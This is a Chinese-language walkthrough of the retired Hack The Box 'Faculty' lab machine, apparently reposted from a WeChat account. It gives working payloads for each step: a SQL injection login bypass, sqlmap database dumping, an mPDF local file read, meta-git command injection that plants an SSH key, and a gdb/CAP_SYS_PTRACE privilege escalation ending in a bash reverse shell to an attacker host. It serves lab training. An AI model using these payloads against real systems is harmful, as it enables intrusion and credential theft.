[HTB] Faculty Writeup

admin 2023年10月20日01:58:15评论33 views字数 4597阅读15分19秒阅读模式

概述 (Overview)

[HTB] Faculty Writeup

HOST: 10.10.11.169

OS: LINUX

发布时间: 2022-07-02

完成时间: 2022-07-08

机器作者: gbyolo[1]

困难程度: MEDIUM

机器状态: 退休

MACHINE TAGS: #SQLi #LFI #SourceCodeAnalysis #Capabilities

攻击链 (Kiillchain)

HTB 关于 Faculty

Faculty 是一台 Medium 等级的 Linux 机器,其特点是利用危险的 PHP 组件库,利用该库的本地文件读取可发现一个有效密码,该密码可用于通过 SSH 已 gbyolo 低用户身份进行登录。用户 gbyolo 有权作为 developer 用户运行名为 meta git 的 npm 包。而此服务器上安装的 meta git 版本易受代码注入的攻击,可以利用该版本将权限提升给用户 developer。通过利用 CAP_SYS_PTRACE 功能将 shellcode 注入以 root 身份运行的进程,可以执行向 root 的权限提升。

枚举(Enumeration)

开始还是使用 Nmap 软件对目标服务器的开放端口进行识别:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
|   256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
|_  256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://faculty.htb
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

从结果中获悉仅对外暴漏两个端口,其 Web 服务会重定向至 http://faculty.htb 域名。这将是进行大点的目标。

Port 80 - HTTP

浏览器简单访问下 Web服务,发起它是一个已 PHP 脚本运行的,其中 /login.php 需要一个有效的授权码才能访问。

[HTB] Faculty Writeup

简单使用了一下 SQL 注入语句,发现能被成功执行,从而使我们登录了该 Web 服务。

Payload ----> ' or ''='

[HTB] Faculty Writeup

随后对控制面板的功能进行检查,发现一个含 /admin/* 开头的路径,访问该路径可以进入后台管理面板。

[HTB] Faculty Writeup

[HTB] Faculty Writeup

在 Faculty List 页面中能够找到多组用户邮箱,但目前看下仅有 SQL 注入对我帮助最大。找到一个存在参数传递的请求,利用 Sqlmap 工具成功在 scheduling_db 库中找到一个管理员用户的 Hash。

$ sqlmap -'http://faculty.htb/admin/ajax.php?action=login_faculty' --data "id_no=" --dbs --batch
...snip...
---
Parameter: id_no (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id_no=' AND (SELECT 4056 FROM (SELECT(SLEEP(5)))iQiT) AND 'uDeb'='uDeb
---
...snip...
available databases [2]:
[*] information_schema
[*] scheduling_db
...snip...
Database: scheduling_db             
[6 tables]
+---------------------+
| class_schedule_info |
| courses             |
| faculty             |
| schedules           |
| subjects            |
| users               |
+---------------------+
...snip...
Database: scheduling_db
Table: users
[1 entry]
+----+---------------+------+----------------------------------+----------+
| id | name          | type | password                         | username |
+----+---------------+------+----------------------------------+----------+
| 1  | Administrator | 1    | 1fecbe762af147c1176a0fc2c722a345 | admin    |
+----+---------------+------+----------------------------------+----------+
...snip...

但是枚举这段 Hash 无法还原明文,尝试其他路径。因为前面的 SQL 注入漏洞,在 /admin/login.php 页面中可以已 admin 的用户进行登录。随后在 Course List 功能页面中发现存在 PDF 文件下载功能。

立足点(Foothold)

使用 exiftool 对 PDF 文件进行分析,可以在 Producer 段中看到它是由 mPDF 6.0 这个组件生成的。

[HTB] Faculty Writeup

[HTB] Faculty Writeup

从官方文件的描述中可以看到,它是通过传递的 html 字符串进行 PDF 文件生成的。结合 burp 抓到的请求包,简单测试下发现存在 SSRF 漏洞。

[HTB] Faculty Writeup

在官方的 issues 中,能够找到 6.0 版本中存在本地文件读取的漏洞,该漏洞利用内置的 <annotation 标签加载本地文件并生成至 PDF 内做附件显示。

https://github.com/mpdf/mpdf/issues/356

[HTB] Faculty Writeup

发送该 exploit 成功读取到 /etc/passwd 文件内容。

[HTB] Faculty Writeup

而 Web 应用的绝对路径可以在其他地方找到,因为错误信息未被抑制导致可以看到更多详情信息。

[HTB] Faculty Writeup

[HTB] Faculty Writeup

[HTB] Faculty Writeup

利用读取到源代码中的数据库连接密码进行 SSH 登录枚举,发现可以成功登录 gbyolo 用户。

[HTB] Faculty Writeup

$ sshpass -'Co.met06aci.dly53ro.per' ssh gbyolo@10.10.11.169

横向移动(Lateral Movement)

首先检查下 sudo 权限配置,发现当前用户可以用 developer 用户免密操作 meta-git

gbyolo@faculty:~$ sudo -l
[sudo] password for gbyolo: 
Matching Defaults entries for gbyolo on faculty:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User gbyolo may run the following commands on faculty:
    (developer) /usr/local/bin/meta-git

gbyolo@faculty:~ls -lsh /usr/local/bin/meta-git
0 lrwxrwxrwx 1 root root 41 Nov 10  2020 /usr/local/bin/meta-git -> ../lib/node_modules/meta-git/bin/meta-git

通过检索 meta-git 可以获知它是一个 NPM 工具,它是用来管理 git 存储库类似对 git 命令做了次封装。详见官方库:https://github.com/mateodelnorte/meta-git

[HTB] Faculty Writeup

但在 /var/mail 下也可以找到一封邮件内容。

[HTB] Faculty Writeup

在未找到更多可用信息的情况下,将 pspy 工具传递至服务器并运行进行监听。发现每隔几分钟 sendmail.sh 脚本会被执行,但目前用户是没权限进行查看该脚本的。

[HTB] Faculty Writeup

通过查询 meta-git 的历史漏洞,发现其历史版本中存在一个命令执行。

[HTB] Faculty Writeup

详情可以在 https://hackerone.com/reports/728040 中查看到,运行 clone 参数时其未对内容做安全校验导致可以进行命令注入进行RCE。直接利用该 payload 成功读取 User Flag。

[HTB] Faculty Writeup

随后继续使用该 payload 将 kali 机的公钥写入 authorized_keys 文件,实现免密登录完成用户横向移动

echo c3NoLXJzYSBBQUFB....0QGthbGkK|base64 -> /home/developer/.ssh/authorized_keys

[HTB] Faculty Writeup

[HTB] Faculty Writeup

权限提升(Privilege Escalation)

首先去看了前面提到的脚本,发现对我们没有什么帮助。继续运行 linpeas.sh 脚本进一步收集信息。

[HTB] Faculty Writeup

在 linpeas 的结果中发现当前用户所属组 debug 是可以访问 gdb 调试软件的,并且还存在 cap_sys_ptrace+ep 功能。而它可以用于往主机内运行的某个进程中注入 shellcode 来进行权限提升。

[HTB] Faculty Writeup

[HTB] Faculty Writeup

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_ptrace

参考上面的文章内容,找了个 root 用户运行的 python3 进程进行操作,成功反弹 NC 会话完成权限提升。

ps -auxwww | grep python3
gdb -<PID>
gdb>call (void)system("bash -c 'bash -i >& /dev/tcp/10.10.x.x/9001 0>&1'")

[HTB] Faculty Writeup

[HTB] Faculty Writeup

参考

引用链接

[1] gbyolo: https://app.hackthebox.com/users/36994


原文始发于微信公众号(一个人的安全笔记):[HTB] Faculty Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月20日01:58:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [HTB] Faculty Writeuphttp://cn-sec.com/archives/2125115.html

发表评论

匿名网友 填写信息